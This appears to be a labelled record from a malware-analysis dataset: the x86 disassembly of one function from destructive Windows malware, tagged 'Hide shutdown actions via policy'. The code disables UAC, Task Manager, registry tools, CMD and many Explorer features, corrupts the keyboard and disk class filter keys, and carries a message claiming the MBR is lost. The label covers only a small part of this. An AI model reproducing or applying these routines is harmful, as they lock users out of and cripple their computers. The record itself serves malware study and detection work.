Function at 0x10002386
Capabilities:
Hide shutdown actions via policy

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x80000301
push 0
push 0
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystemEnableLUA
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
mov eax, 0x10096a78
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push 1
mov eax, str.I_painting_something_in_your_computer___so_the_MBR_is_lost_
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
mov eax, 0x10096a78
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
call fcn.10001298
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10002400
push ebx
call fcn.100029eb
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002410
push ebx
call fcn.100029eb
add esp, 4
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x10002420
push ebx
call fcn.100029eb
add esp, 4
push getpeername
push 0
push str.Very_Beautifull_
push getpeername
push 0
push str.SYSTEMControlSet001ControlClass4d36e967_e325_11ce_bfc1_08002be10318LowerFilters
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push getpeername
push 0
push str.Very_Beautifull_
push getpeername
push 0
push str.SYSTEMControlSet001ControlClass4d36e96b_e325_11ce_bfc1_08002be10318UpperFilters
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoControlPanel
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableregistrytools
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000601
push 0x41efffff
push 0xffe00000
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000601
push 0x41efffff
push 0xffe00000
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewOnDrive
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoClose
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoLogOff
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoSetFolders
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskmgr
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftWareMicrosoftWindowsCurrentVersionPoliciesWinOldAppDisabled
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFind
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFileMenu
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFolderOption
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRealMode
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoSetFolders
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewContextMenu
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 0
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem_shutdownwithoutlogon
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoSetTaskbar
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoSMHelp
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoWindowsUpdate
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 1
push getpeername
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRestrictRun
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0x80000301
push 0
push 2
push getpeername
push 0
push str.SoftwarePoliciesMicrosoftWindowsSystemDisableCMD
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x10003210
call fcn.100029e5
add esp, 0x28
push 0
call fcn.100029df
add esp, 4
mov esp, ebp
pop ebp
ret